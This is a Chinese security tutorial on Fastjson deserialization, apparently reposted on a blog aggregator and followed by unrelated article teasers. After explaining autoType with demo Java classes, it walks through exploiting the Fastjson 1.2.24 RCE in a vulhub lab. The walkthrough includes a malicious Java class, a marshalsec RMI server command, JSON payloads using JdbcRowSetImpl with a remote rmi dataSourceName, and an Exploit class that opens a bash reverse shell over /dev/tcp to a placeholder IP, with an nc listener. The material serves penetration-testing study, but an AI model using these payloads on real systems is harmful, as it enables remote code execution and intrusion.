反序列化渗透与攻防(四)之Fastjson反序列化漏洞

news2025/1/13 8:02:17

Fastjson反序列化漏洞

Fastjson介绍

Fastjson是一个阿里巴巴开源的一款使用Java语言编写的高性能功能完善的JSON库,通常被用于将Java Bean和JSON 字符串之间进行转换。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。但是,从诞生之初,fastjson就多次被爆出存在反序列化漏洞。并且,每次都和autoType有关!那么,什么是autoType呢?

autoType

fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。

其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1:基于属性
2:基于setter/getter

而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json

Fastjson反序列化实列

首先我们定义一个User类

public class User {
    private String name; //私有属性,有getter、setter方法
    private int age; //私有属性,有getter、setter方法
    private boolean flag; //私有属性,有is、setter方法
    public String sex; //公有属性,无getter、setter方法
    private String address; //私有属性,无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
        ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
        ", address='" + address + '\'' +
        '}';
    }

/*    interface Fruit {
    }

    class Apple implements Fruit {
        private BigDecimal price;
        //省略 setter/getter、toString等

    }*/
}

在这里插入图片描述

然后我们在新建一个JsonTest类进行序列化和反序列化操作

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JsonTest {
    public static void main(String[] args) {
        // 从1.2.25开始,autotype默认关闭
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        // 序列化字符
        String serializedStr = "{\"@type\":\"com.wuya.test.User\",\"name\":\"wuya\",\"age\":66, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化,返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr):");
        Object obj1 =JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("-----------------------------------------------\n");

        // 通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr):");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        // 通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class):");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        // 通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class):");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }

}

然后右键运行,这是代码运行后的效果:

在这里插入图片描述
Fastjson序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化

反序列化的时候,会调用成员变量的set方法,publibc修饰的成员全部自动赋值

Fastjson中反序列化的方法有两种:

JSON.parseObject() 返回实际类型对象

User user1 = JSON.parseObject(serializedStr, User.class);

JSON.parse() 返回JsonObject对象

Object obj1 =JSON.parse(serializedStr);

Fastjson1.2.24反序列化漏洞复现

1、vulhub启动靶场

使用docker搭建靶机环境,进入1.2.24-rce

docker-compose up -d

在这里插入图片描述

检查端口是否开放

docker-compose ps

在这里插入图片描述

访问目标服务器路径,如下

在这里插入图片描述

我们向这个地址POST一个JSON对象,即可更新服务器端的信息

curl http://192.168.0.112:8090/ -H "Content-Type:application/json" --data '{"name":"wd","age":20}' 
{
        "age":20,
        "name":"wd"
}    

在这里插入图片描述

然后我们编辑恶意类LinuxTouch:

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}
javac LinuxTouch.java

这是我们编译好的恶意类:

在这里插入图片描述

这里注意我编译java的版本,如果你复现不成功,可能是java版本的问题

2、Kali使用python启动HTTP服务,存放恶意类

python -m http.server 8089

在这里插入图片描述

我们这里kali机器的IP是192.168.0.112

3、Kali 用marshalsec启动LDAP/RMI服务

最后,我们使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9437端口,并制定加载远程类 LinuxTouch.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.112:8089/#LinuxTouch" 9473

在这里插入图片描述

4、启动BP,数据包攻击

提交如下payload

POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146

{
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://192.168.0.112:9473/LinuxTouch",
		"autoCommit": true
	}
}

在这里插入图片描述
可以看到我们这边监听也收到了请求

在这里插入图片描述

在这里插入图片描述

上靶标tmp目录查看,可以看到生成了success文件,由于我们这里使用的靶场是vulhub搭建的,所以生成的文件在docker的环境里

docker ps -a

在这里插入图片描述

docker exec 2d4a5ccec2db ls /tmp

在这里插入图片描述

5、Kali使用netcat监听端口,建立反弹连接

如果想要建立反弹连接,LinuxTouch.java就得修改为反弹shell的命令了,我们这里新建一个Exploit类

import java.io.BufferedReader;      
import java.io.InputStream;      
import java.io.InputStreamReader;       
public class Exploit{      
    public Exploit() throws Exception {      
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1"});      
        InputStream is = p.getInputStream();      
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));       
        String line;      
        while((line = reader.readLine()) != null) {      
            System.out.println(line);      
        }       
        p.waitFor();      
        is.close();      
        reader.close();      
        p.destroy();      
    }       
    public static void main(String[] args) throws Exception {      
    }      
}

然后重复上面的步骤,kali机器开启监听

nc -lvvp 53

在这里插入图片描述

提交如下payload

POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146

{
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://192.168.0.112:9473/Exploit",
		"autoCommit": true
	}
}

在这里插入图片描述

kali机器收到监听

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/410385.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

leedcode刷题(4)

各位朋友们,大家好。这两天我将为大家分享我在学习栈的过程中遇到的题目,我们一起来看看。 文章目录逆波兰表达式求值题目要求用例输入提示做题思路代码实现c语言实现代码Java语言实现代码有效的括号Java代码实现逆波兰表达式求值 leedcode之逆波兰表达…

Python工程师Java之路(t)使用Shell脚本部署SpringBoot

文章目录1、概述2、在服务器上安装Maven2、在服务器上安装Git3、Shell脚本4、SpringBoot部署测试1、概述 #mermaid-svg-MhYgFNGEE2jsSopb {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-MhYgFNGEE2jsSopb .error-ic…

【中级软件设计师】—数据库系统考点总结篇(三)

【中级软件设计师】—数据库系统考点总结篇(三) 课程大纲与考点分布 1 数据库系统的体系结构 分布式数据库的透明性 1.1 三级模式—两级映射 1.2 数据库的设计过程 1.3 E-R模型 首先每个实体要单独转成一个关系模式,总共三个实体三个关系模式…

ubuntu20.04安装Intel核显QSV编译FFmpeg支持QSV硬件加速

Intel Video And Audio For Linux: libva: Libva is an implementation for VA-APIlibva下可以接入各种driver,以支持不同的设备 VA-API(Video Acceleration API): is an open-source library and API specification(规格说明,技术参数)libv…

现在的年轻人真会玩,开发界面都这么时尚,不服老都不行了

文章目录一、你还在用传统的开发界面吗二、年轻人的界面1.动漫型2.偶像型3.提神型三、更换背景的操作第一步第二步第三步一、你还在用传统的开发界面吗 不比不知道,一比吓一跳,都2023年了,你还在用Pycharm的默认背景写代码吗?已经…

深度学习训练营_第J5周_DenseNet+ SE-Net实战

🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊|接辅导、项目定制 本周进行SE模块在DenseNet上的改进实验,之后将改进思路迁移到YOLOv5模型上测试 首先是学习SE模块 SE模块:Squeeze-an…

Nuxt - 超详细 Element 组件库主题颜色进行 “统一全局“ 替换,将默认的蓝色主题色更换为其他自定义颜色(保姆级教程,简易且标准全局替换主题色)

前言 如果需要纯 Vue 版本,请访问:这篇文章。 网上的文章可以用乱七八糟来形容了,各种奇葩的引入、安装各种东西,本文提供简洁且符合官方标准的解决方案。 Element UI 默认主题色是蓝色,很可能与我们设计稿不一致(比如设计稿是绿色主题), 这时候问题就出现了,难不成每…

Concept HDL学习资料汇总

本篇博文目录:一.concept HDL相关概念知识1. Concept HDL2.Concept HDL与Cadence的区别3.Concept HDL与Cadence CIS之间的转换问题二.Cadence软件安装1.Cadence 16.6安装2.Cadence 17.x安装三.concept HDL视频学习资料四.concept HDL博文学习资料五.concept HDL书籍/文档资料一…

【报错】Aanaconda环境下配置pytorch时报错 (Solved)

Aanaconda环境下配置pytorch时报错: 在命令行输入conda install pytorch torchvision torchaudio cpuonly -c pytorch安装pytorch时产生报错,报错信息如下: EnvironmentLocationNotFound: Not a conda environment: C:\Users\绀句細浜篭.conda\envs\py…

vite+vue3基础

vite创建项目指令 npm create vitelatest . 项目创建选择vue。 创建完成之后安装依赖 npm i || cnpm ivite项目下 引入文件需要配置路径 //如果文件路径 .///如果文件层 较深 配置 “/***”“../../”配置vite中的 路径(js版本支持node全局变量 ts版本不支持 types…

4款【新概念APP】对比+免费下载

4款【新概念APP】对比免费下载4款【新概念APP】对比免费下载新概念英语咖(体积小、无广告、全免费、不能倍速播放)新概念英语全册(免费,但强制广告,否则不能播放音频。可以倍速)新概念英语全四册&#xff0…

SpringBoot入门简介

SpringBoot简介 1.什么是SpringBoot SpringBoot基于Spring4.0设计,不仅继承了Spring框架原有的优秀特性,而且还通过简化配置来进一步简化了Spring应用的整个搭建和开发过程。另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用…

Android中的全量更新、增量更新以及热更新

在客户端开发过程中,我们可能会遇到这样一种需求:点击某个按钮弹出一个弹窗,提示我们可以更新到apk的某个版本,或者我们可以通过服务端接口进行强制更新。在这种需求中,我们是不需要通过应用商店来更新我们的apk的&…

【Hadoop/Java】基于HDFS的Java Web网络云盘

【Hadoop/Java】基于HDFS的Java Web网络云盘 本人BNUZ大学生萌新,水平不足,还请各位多多指教! 实验目的 熟悉HDFS Java API的使用;能使用HDFS Java API编写应用程序 实验要求 云盘系统通过互联网为企业和个人提供信息的储存、…

前后端部署+nginx配置

文章目录概要1、脚手架安装2、项目打包部署3、配置nginxEND概要 内容主要包括部署前端项目,nginx安装配置,以及后端项目的打包 1、脚手架安装 vue init webpack 项目运行(默认端口8080) npm run dev 如果前后端分离项目&…

使用Vue+el-form+form-validate实现管理端登录接口联调前准备工作实战

前言 这是《Vue + SpringBoot前后端分离项目实战》专栏的第7篇博客,感谢你能从成千上万篇博客中打开这一篇,和我一起学习前端开发实战知识,让我们一起开始吧。 目录 前言 一、上节回顾和本节介绍 1. 上节回顾

【可视化开发】echarts配置项——修改tooltip默认样式

修改tooltip默认样式 在可视化开发中我们通常会遇到修改tooltip样式问题,下面分享给大家代码片段和最终呈现效果 tooltip: {//鼠标悬浮框的提示文字trigger: "axis",axisPointer: {// 坐标轴指示器配置项。type: "none", // line 直线指示器 …

Vue3.0ElementPlus<input输入框自动获取焦点>

文章目录前言一、input-focus事件?二、使用步骤1.给input 设置ref 属性2.引入ref和nextTick3.在dialog打开事件中触发前言 记录一下自己最近开发vue3.0的小小问题~~ 最近在做项目时,dialog弹框事件需定位input焦点,方便用户可直接输入。原理…

【vue3】组合式API之setup()介绍与reactive()函数的使用

>😉博主:初映CY的前说(前端领域) ,📒本文核心:setup()概念、 reactive()的使用 【前言】vue3作为vue2的升级版,有着很多的新特性,其中就包括了组合式API,也就是是 Composition API。学习组合…

vue + gojs 实现拖拽 流程图

一、流程图效果 最近一段时间在研究go.js,它是一款前端开发画流程图的一个插件,也是一个难点,要说为什么是难点,首先,它是依赖画布canvas知识开发。其次,要依赖于内部API开发需求,开发项目需求的时候就要花…